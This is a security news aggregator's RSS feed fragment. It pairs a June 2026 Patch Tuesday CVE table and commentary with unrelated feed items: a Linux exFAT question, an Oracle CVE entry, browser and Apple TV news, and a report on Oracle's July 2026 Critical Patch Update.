  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42981"><span>CVE-2026-42981</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42974"><span>CVE-2026-42974</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45487"><span>CVE-2026-45487</span></a></td>
  <td width="256" class="xl68">Windows Program
  Compatibility Assistant Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42828"><span>CVE-2026-42828</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42837"><span>CVE-2026-42837</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42969"><span>CVE-2026-42969</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42971"><span>CVE-2026-42971</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42970"><span>CVE-2026-42970</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42973"><span>CVE-2026-42973</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42978"><span>CVE-2026-42978</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42977"><span>CVE-2026-42977</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42979"><span>CVE-2026-42979</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42991"><span>CVE-2026-42991</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45639"><span>CVE-2026-45639</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42908"><span>CVE-2026-42908</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45593"><span>CVE-2026-45593</span></a></td>
  <td width="256" class="xl68">Windows SDK Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42906"><span>CVE-2026-42906</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42907"><span>CVE-2026-42907</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47648"><span>CVE-2026-47648</span></a></td>
  <td width="256" class="xl68">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42915"><span>CVE-2026-42915</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42904"><span>CVE-2026-42904</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42968"><span>CVE-2026-42968</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42912"><span>CVE-2026-42912</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45597"><span>CVE-2026-45597</span></a></td>
  <td width="256" class="xl68">Windows UI Automation
  Manager (uiamanager.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45599"><span>CVE-2026-45599</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45635"><span>CVE-2026-45635</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40409"><span>CVE-2026-40409</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40404"><span>CVE-2026-40404</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42989"><span>CVE-2026-42989</span></a></td>
  <td width="256" class="xl68">Winlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.</p><p class="">Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.</p><p class="">There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be. </p><p class="">Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. </p><p class="">Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.</p><p class="">There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.</p><p class="">I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.</p><p class="">There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p><p class=""> </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Is exFAT feasible for internal ssd long term ?]]></title>
<description><![CDATA[Dual booting win/linux for a while now (dedicated ssd per OS). And I need some shared storage so I've been using ntfs for 2 storage ssd's but it's been a huge headache as the linux/win combination constantly corrupts the ntfs file system and I end up with a ton of issues on linux, always having t...]]></description>
<link>https://tsecurity.de/de/3692666/linux-tipps/is-exfat-feasible-for-internal-ssd-long-term/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692666/linux-tipps/is-exfat-feasible-for-internal-ssd-long-term/</guid>
<pubDate>Sat, 25 Jul 2026 00:11:38 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Dual booting win/linux for a while now (dedicated ssd per OS). And I need some shared storage so I've been using ntfs for 2 storage ssd's but it's been a huge headache as the linux/win combination constantly corrupts the ntfs file system and I end up with a ton of issues on linux, always having to repair it in windows. </p> <p>I already do full shutdowns on windows (even started disconnecting the drives from the windows partition manager before shutdown), it doesn't seem to help (i'm suspecting that linux itself corrupts the file system sometimes). </p> <p>So I'm thinking of switching to using exfat but I've not been able to find much on how feasible that is to use on internal drives. Anyone have any experience with this ? </p> <p>Of note - the data is not that critical as to warrant a high degree of reliability, but at the same time if exfat presents known issues, same or worse as ntfs, it doesn't make sense to switch.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/kepler2"> /u/kepler2 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v5dpw3/is_exfat_feasible_for_internal_ssd_long_term/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v5dpw3/is_exfat_feasible_for_internal_ssd_long_term/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why automotive repair needs domain-specific AI, not general-purpose models]]></title>
<description><![CDATA[General-purpose AI can't fix the automotive parts problem, purpose-built models can.]]></description>
<link>https://tsecurity.de/de/3691719/it-nachrichten/why-automotive-repair-needs-domain-specific-ai-not-general-purpose-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691719/it-nachrichten/why-automotive-repair-needs-domain-specific-ai-not-general-purpose-models/</guid>
<pubDate>Fri, 24 Jul 2026 15:56:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[General-purpose AI can't fix the automotive parts problem, purpose-built models can.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-61138 | Oracle Complex Maintenance Repair and Overhaul up to 12.2.15 Internal Operations improper authorization (EUVD-2026-47347)]]></title>
<description><![CDATA[A vulnerability classified as critical has been found in Oracle Complex Maintenance Repair and Overhaul up to 12.2.15. Affected by this issue is some unknown functionality of the component Internal Operations. The manipulation leads to improper authorization.

This vulnerability is documented as ...]]></description>
<link>https://tsecurity.de/de/3690181/sicherheitsluecken/cve-2026-61138-oracle-complex-maintenance-repair-and-overhaul-up-to-12215-internal-operations-improper-authorization-euvd-2026-47347/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690181/sicherheitsluecken/cve-2026-61138-oracle-complex-maintenance-repair-and-overhaul-up-to-12215-internal-operations-improper-authorization-euvd-2026-47347/</guid>
<pubDate>Thu, 23 Jul 2026 22:45:22 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/oracle:complex_maintenance_repair_and_overhaul">Oracle Complex Maintenance Repair and Overhaul up to 12.2.15</a>. Affected by this issue is some unknown functionality of the component <em>Internal Operations</em>. The manipulation leads to improper authorization.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2026-61138">CVE-2026-61138</a>. The attack can be initiated remotely. There is not any exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox 153 contains itself while Thunderbird 153 fixes almost everything]]></title>
<description><![CDATA[Mozilla walls off your online identities as MZLA unleashes a bumper repair job]]></description>
<link>https://tsecurity.de/de/3688846/it-nachrichten/firefox-153-contains-itself-while-thunderbird-153-fixes-almost-everything/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688846/it-nachrichten/firefox-153-contains-itself-while-thunderbird-153-fixes-almost-everything/</guid>
<pubDate>Thu, 23 Jul 2026 13:19:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Mozilla walls off your online identities as MZLA unleashes a bumper repair job]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple TV Announces ‘Protective Custody’ With Benicio Del Toro, Ben Stiller]]></title>
<description><![CDATA[Apple TV has announced Protective Custody, a new comedy series starring Benicio Del Toro and Ben Stiller. The project brings the two actors together again after their work on Escape at Dannemora.




https://twitter.com/AppleTV/status/2079974849045536933




What is Protective Custody about?



T...]]></description>
<link>https://tsecurity.de/de/3687967/ios-mac-os/apple-tv-announces-protective-custody-with-benicio-del-toro-ben-stiller/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687967/ios-mac-os/apple-tv-announces-protective-custody-with-benicio-del-toro-ben-stiller/</guid>
<pubDate>Thu, 23 Jul 2026 06:30:57 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple TV has announced Protective Custody, a new comedy series starring Benicio Del Toro and Ben Stiller. The project brings the two actors together again after their work on Escape at Dannemora.




https://twitter.com/AppleTV/status/2079974849045536933




What is Protective Custody about?



The series follows a disgraced financier accused of carrying out a massive fraud. While awaiting trial, he enters protective custody and must learn how to survive prison politics.



At the same time, the financier tries to repair his damaged reputation and face the consequences of his actions. Apple has not revealed which characters Del Toro and Stiller will play.



Experienced comedy creators lead the series



Mike Judge, Steve Hely, and Dave King will serve as writers, executive producers, and showrunners. Judge will also direct the series.



The creative team has previously worked on popular comedies including King of the Hill, Silicon Valley, Veep, and Parks and Recreation.



Stiller will also executive produce Protective Custody. The project gives Del Toro his first leading role in a television comedy series. Apple TV has not announced a production schedule, episode count, or release date yet.]]></content:encoded>
</item>
<item>
<title><![CDATA[Oracle’s July update fixes ten 10.0 vulnerabilities in Fusion Middleware]]></title>
<description><![CDATA[Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware.



Fusion Middleware was particularly hard hit, with new security patc...]]></description>
<link>https://tsecurity.de/de/3687351/ai-nachrichten/oracles-july-update-fixes-ten-100-vulnerabilities-in-fusion-middleware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687351/ai-nachrichten/oracles-july-update-fixes-ten-100-vulnerabilities-in-fusion-middleware/</guid>
<pubDate>Wed, 22 Jul 2026 20:52:40 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware.</p>



<p class="wp-block-paragraph">Fusion Middleware was particularly hard hit, with new security patches for 355 security vulnerabilities, 219 of them remotely exploitable without authentication, meaning they can be exploited over a network without requiring user credentials. Ten of them scored a “perfect” 10.0 on the Common Vulnerability Scoring System (CVSS).</p>



<p class="wp-block-paragraph">These included easily exploitable vulnerabilities allowing unauthenticated attackers with network access via HTTP to compromise Oracle Data Integrator, Oracle Access Manager, Oracle HTTP Server, Oracle Platform Security for Java, Oracle WebCenter Content, Service Delivery Platform, or Oracle Weblogic Server Proxy Plug-in,</p>



<p class="wp-block-paragraph">No other products were found to have quite such extreme vulnerabilities, but there were plenty of others scoring almost as badly.</p>



<h2 class="wp-block-heading">Two critical flaws in Oracle Database Server</h2>



<p class="wp-block-paragraph">The most severe flaw Oracle patched in its flagship database product is CVE-2026-61211, a vulnerability in the RDBMS component’s DBMS_CLOUD package with a CVSS score of 9.9.</p>



<p class="wp-block-paragraph">This easily exploitable vulnerability allows a low-privileged attacker having Execute DBMS_CLOUD privilege with network access via Oracle Net to compromise the RDBMS, <a href="https://www.oracle.com/security-alerts/cpujul2026verbose.html" target="_blank" rel="noreferrer noopener">Oracle said in the patch update statement</a>. “While the vulnerability is in RDBMS, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of RDBMS,” it warned.</p>



<p class="wp-block-paragraph">The flaw affects Database Server versions 19.3 through 19.31 and 23.4.0 through 23.26.2.</p>



<p class="wp-block-paragraph">Sanchit Vir Gogia, chief analyst at Greyhound Research, said the 9.9 score should be read as serious but conditional. Exposure depends on configuration, he said: On customer-managed databases, DBMS_CLOUD is absent until installed, and grants and network access lists determine the radius from there. “Where DBMS_CLOUD is broadly granted and reachable, the emergency is real and the window is seventy-two hours; where it is absent, the accelerated database wave will do.”</p>



<p class="wp-block-paragraph">Vibhum Dubey, a cybersecurity researcher and red teamer, said the flaw stood out to him because it checks several boxes that concern defenders.</p>



<p class="wp-block-paragraph">“Database servers often hold an organization’s most valuable data, so even if exploitation is not publicly observed yet, I don’t think this is the kind of issue you leave until the next routine maintenance window if your environment is exposed,” Dubey said.</p>



<p class="wp-block-paragraph">A second Database Server flaw, CVE-2026-47040, affects Connection Manager in Oracle Net Services, is remotely exploitable without credentials. Oracle’s risk matrix lists six Database Product vulnerabilities in this cycle as reachable over a network with no authentication required, the statement added.</p>



<p class="wp-block-paragraph">CVE-2026-7383, an OpenSSL-related TLS vulnerability, affects two products, Database Server and Autonomous Health Framework, since both bundle the same third-party component. Oracle’s advisory notes the Database Server patch for that CVE also resolves 19 related OpenSSL CVEs bundled into the same fix.</p>



<p class="wp-block-paragraph">Oracle GoldenGate received 27 new patches, nine of which do not require authentication to exploit, including CVE-2026-2332, a flaw in the Big Data and Application Adapters component tied to Eclipse Jetty, the statement added.</p>



<p class="wp-block-paragraph">There were also two critical flaws in Oracle’s TimesTen in-memory database.</p>



<p class="wp-block-paragraph">The remainder of the release spans E-Business Suite, WebLogic Server, PeopleSoft, Siebel, JD Edwards, Communications, Retail Applications, Utilities Applications, MySQL, Solaris and VM VirtualBox.</p>



<h2 class="wp-block-heading">Volume repair</h2>



<p class="wp-block-paragraph">Gogia said the volume itself marks a shift.</p>



<p class="wp-block-paragraph">“At 1,449 patches, against 481 in April 2026 and 309 a year earlier, patch load has outgrown the queue built to hold it,” he said. He recommended a tiered response: “The reachable and the reported inside seventy-two hours, the trusted core inside ten days, the rest by risk before the October release.”</p>



<p class="wp-block-paragraph">He also flagged a specific risk in how organizations might triage E-Business Suite. “Oracle’s advisory concedes that E-Business Suite exposure sits partly in underlying Database and Fusion Middleware versions outside the E-Business Suite matrix. The fastest way to mis-prioritise this release is to patch by product logo instead of trust boundary.”</p>



<h2 class="wp-block-heading">Third Tuesday, quarterly cycle</h2>



